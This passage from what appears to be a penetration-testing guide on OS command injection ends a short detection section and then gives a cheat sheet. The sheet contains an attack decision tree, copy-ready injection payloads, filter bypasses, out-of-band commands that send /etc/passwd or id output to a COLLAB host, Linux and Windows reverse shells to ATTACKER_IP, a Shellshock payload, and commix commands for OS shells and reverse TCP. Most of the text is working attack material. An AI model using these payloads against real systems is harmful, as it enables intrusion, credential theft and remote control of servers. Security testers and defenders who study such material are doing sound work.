└── WAF rules for CI metacharacters (not primary — bypassable)
DETECTION:
├── Log all subprocess / shell calls with arguments
├── Alert on shell execution from web process tree
├── RASP (Runtime Application Self-Protection) for Java/.NET
├── Egress monitoring — unexpected outbound DNS/HTTP from app
└── IDS/SIEM rules for common CI payloads (;id, ;whoami, sleep)
14. Master Cheat Sheet
Attack Decision Tree
Found a user-controlled parameter processed by the server?
│
├── Does response reflect command output?
│ └── YES → In-band injection
│ ├── Try: ; id
│ ├── Try all operators: | && || $() `cmd`
│ └── Extract: /etc/passwd, env, SSH keys
│
├── No output, but response time varies?
│ └── Blind time-based
│ ├── Confirm: ; sleep 5 (measure delay)
│ ├── Extract char-by-char with if/sleep
│ └── Script: python extractor
│
├── No output, no measurable delay?
│ └── Try OOB
│ ├── ; curl http://COLLAB/$(id|base64)
│ ├── ; nslookup $(whoami).COLLAB
│ └── Check Burp Collaborator / interactsh for callbacks
│
├── All direct injection fails?
│ ├── Try filter bypass:
│ │ ├── Space: ${IFS}, %09, {cmd,arg}
│ │ ├── Keywords: 'c'at, c\at, tac, awk
│ │ ├── Encoding: %0A, %3B, hex printf
│ │ └── Operators: try every separator variant
│ └── Consider second-order: is input stored and later executed?
│
└── Confirmed RCE? → Escalate
├── Upload reverse shell or use bash /dev/tcp
├── Upgrade to interactive TTY (python pty)
└── Post-exploitation: enum, creds, pivot
Quick Payload Reference
# ── Basic Confirm (Linux) ──
; id
| id
&& id
|| id
$(id)
`id`
%0Aid # newline separator
# ── Basic Confirm (Windows) ──
& whoami
| whoami
&& whoami
# ── Blind Time-Based (Linux) ──
; sleep 5
| sleep 5
$(sleep 5)
%0Asleep%205
# ── Blind Time-Based (Windows) ──
& ping -n 6 127.0.0.1
& timeout /t 5
# ── OOB (Linux) ──
; curl http://COLLAB/$(id | base64 -w0)
; nslookup $(whoami).COLLAB
; wget -q http://COLLAB/?x=$(cat /etc/passwd | base64 -w0)
# ── OOB (Windows) ──
& nslookup %USERNAME%.COLLAB
& powershell -c "Invoke-WebRequest http://COLLAB/$(whoami)"
# ── Space Bypass ──
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# ── Keyword Bypass ──
c'at' /etc/passwd # quotes bypass keyword filter
c\at /etc/passwd # backslash
tac /etc/passwd # alternative to cat
# ── Reverse Shell (Linux) ──
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 4444>/tmp/f
# ── Reverse Shell (Windows) ──
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);..."
# ── Shellshock ──
() { :; }; /bin/bash -c 'id'
commix Quick Reference
commix --url="URL?param=val" # basic GET scan
commix --url="URL" --data="param=val" # POST
commix -r request.txt # from Burp file
commix --url="URL" --os-shell # interactive shell
commix --url="URL" --reverse-tcp --ip=IP --port=4444 # reverse shell
commix --url="URL" --technique=timebased # force blind time
commix --url="URL" --tamper=space2ifs --batch # bypass + no prompts
Useful Wordlists (SecLists)
/usr/share/seclists/Fuzzing/command-injection-commix.txt
/usr/share/seclists/Fuzzing/UnixAttacks.fuzzdb.txt
/usr/share/seclists/Fuzzing/Windows-Attacks.fuzzdb.txt
/usr/share/seclists/Payloads/OSCI-Payloads.txt
# Burp Intruder → Fuzzing → OS command injection